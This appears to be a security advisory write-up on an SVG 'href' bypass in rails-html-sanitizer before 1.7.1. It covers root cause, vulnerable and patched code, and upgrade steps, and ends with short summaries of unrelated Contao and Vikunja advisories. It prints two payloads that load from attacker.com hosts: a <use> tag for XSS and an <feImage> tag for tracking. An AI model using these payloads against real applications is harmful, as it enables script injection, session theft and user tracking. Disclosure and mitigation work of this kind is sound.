Jul 22, 2026·6 min read·19 visits
Custom configurations of rails-html-sanitizer allowing SVG reference tags were vulnerable to XSS and tracking because plain 'href' attributes bypassed local-reference filters restricted only to 'xlink:href'.
An issue in rails-html-sanitizer allowed attackers to bypass restrictions on SVG reference elements (such as <use> or <feImage>) when specific custom configurations allowed these tags. Because the sanitizer only restricted the legacy 'xlink:href' attribute to local references, modern browsers supporting plain 'href' attributes according to the SVG 2 specification would load external resources. This could lead to Cross-Site Scripting (XSS) or user tracking.
The rails-html-sanitizer gem is a critical component in the Ruby on Rails ecosystem, serving as the default mechanism to scrub untrusted HTML inputs. Applications use this library to clean user-generated content, preventing cross-site scripting (XSS) and other injection attacks while preserving safe markup structure. The sanitization process is handled by a set of permissive or restrictive rules managed by subclasses of Loofah::Scrubber, such as Rails::HTML::PermitScrubber.
The attack surface expands when applications define custom safe-lists to allow specific SVG elements, including resource references like <use> or <feImage>. These elements allow HTML documents to clone and load external graphical segments or apply image filters. To enforce security, the sanitizer is designed to restrict these tags to local, same-document fragment identifiers (e.g., #element-id).
A security bypass exists because the library's local reference enforcement was strictly coupled to the legacy XML namespace attribute xlink:href. Under the modern SVG 2 specification, browsers natively support the plain href attribute without any namespace prefix. Because the plain href attribute was left unvalidated, an attacker could load external resources, bypassing security enforcement.
The root cause of this vulnerability lies in an incomplete input validation model inside lib/rails/html/scrubbers.rb. The PermitScrubber class contains logic meant to strip references that target external locations. This mechanism operates on the assumption that SVG elements only declare external links using the XML-linked namespace syntax (xlink:href).
The logical flow of the sanitization routine evaluated attributes against Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF to identify elements allowed to have local references. Once a match was found, the scrubber strictly verified if the active attribute name matched "xlink:href". If it did, it applied the regular expression /^\s*[^#\s].*/m to determine if the reference value did not start with a hash symbol (#). Any value failing this pattern was considered external and removed.
Because the code explicitly validated only "xlink:href", it failed to inspect the modern "href" attribute. In SVG 2, the plain href attribute acts as a functional drop-in replacement. Modern user agents parse the plain href attribute and resolve the referenced resource. The sanitizer allowed the plain href to pass through untouched, violating the security guarantee that these reference elements would remain strictly local.
Let's perform a technical walk-through of the vulnerability before and after the application of the official patch.
In the vulnerable codebase of rails-html-sanitizer (versions prior to 1.7.1), the scrub_attribute method evaluated attributes as follows:
# Vulnerable implementation in lib/rails/html/scrubbers.rb
if Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) && attr_name == "xlink:href" && attr_node.value =~ /^\s*[^#\s].*/m
attr_node.remove
endThis block explicitly targeted the string literal "xlink:href". If an attacker injected a plain href attribute within a <use> element, the second conditional clause evaluated to false, skipping the removal logic.
The patch introduced in commit 74dcb8053e6da9921246ce71b06ad9fd65b19586 corrected this structural omission:
# Patched implementation in lib/rails/html/scrubbers.rb
if Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) && Loofah::HTML5::SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name) && attr_node.value =~ /^\s*[^#\s].*/m
attr_node.remove
endBy refactoring the attribute matching from a hardcoded string equality check to a set membership lookup via Loofah::HTML5::SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name), the library now correctly identifies both "xlink:href" and "href". This change ensures the regular expression check is applied to all supported variations of reference attributes. This fix relies on an upstream dependency on loofah >= 2.25.2 which exposes the comprehensive list of allowed SVG reference attributes.
Exploitation requires that the host application is configured to permit SVG reference elements such as <use> or <feImage>. In a default Rails installation, these elements are not in the permitted safe-list, preventing out-of-the-box exploitation.
To perform an attack, the adversary identifies an endpoint that parses and displays sanitized HTML using a customized configuration. The attacker supplies a payload containing a <use> tag with a plain href attribute pointing to a remote resource under their control:
<svg>
<use href="https://attacker.com/payload.svg#script"></use>
</svg>During processing, the sanitizer parses the input, fails to remove the plain href attribute, and returns the payload intact. When a victim loads the page, the browser parses the markup and resolves the external link. If the target resource is loaded and evaluated in the security context of the vulnerable domain, any script execution defined within the external SVG runs with the privileges of the victim's session.
A secondary attack vector involves user tracking and privacy bypass via the <feImage> filter element:
<svg>
<filter id="track">
<feImage href="https://tracker.attacker.com/log.png"></feImage>
</filter>
</svg>Because the browser fetches the external resource automatically when trying to render the filter, the attacker receives the request, exposing the victim's IP address and browser headers without requiring user interaction.
Below is the logical exploit flow:
The impact of this vulnerability is classified as medium, holding a CVSS v4 score of 5.1. While the exploit path allows full arbitrary JavaScript execution in the client's browser, the severity is mitigated by the prerequisite configuration. Default installations of rails-html-sanitizer are immune since they do not permit SVG reference elements.
In affected applications, the vulnerability is a severe threat. A successful exploitation allows attackers to perform session hijacking, exfiltrate sensitive anti-CSRF tokens, or modify the DOM to present credential harvesting prompts. The browser executes the malicious scripts inside the security origin of the hosting application, granting the script access to local storage, session storage, and cookies that lack the HttpOnly flag.
Additionally, the <feImage> tracking vector represents a privacy bypass. It permits silent cross-origin resource requests, enabling attackers to verify active user sessions and track user navigation across sanitized sections of the application.
The primary and recommended mitigation is upgrading rails-html-sanitizer to version 1.7.1 or higher. This upgrade enforces a hard dependency on loofah >= 2.25.2, which includes the updated definition of SVG_HREF_ATTRIBUTES to cover both plain and namespaced references.
To execute the upgrade, modify the dependency declaration in the application's Gemfile:
gem 'rails-html-sanitizer', '>= 1.7.1'Then run the following bundler command to update both gems:
bundle update rails-html-sanitizer loofahIf an immediate gem upgrade is not feasible, developers must configure a custom scrubber to block or clean the problematic SVG tags before they reach the native safe-list scrubber. Below is an implementation of a custom Rails scrubber that strips <use> and <feImage> elements:
class StripSvgReferencesScrubber < Rails::Html::Scrubber
def setup
@tags = %w(use feImage)
end
def scrub(node)
if @tags.include?(node.name)
node.remove
return STOP
end
end
endThis custom scrubber can be passed to the sanitizer call, ensuring that these elements are cleanly purged regardless of the safe-list configuration.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
rails-html-sanitizer rails | >= 1.0.3, < 1.7.1 | 1.7.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v4 Score | 5.1 (Medium) |
| Exploit Status | poc |
| KEV Status | Not Listed |
| Component | rails-html-sanitizer |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.
Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.
Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.
An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.
In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.
A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.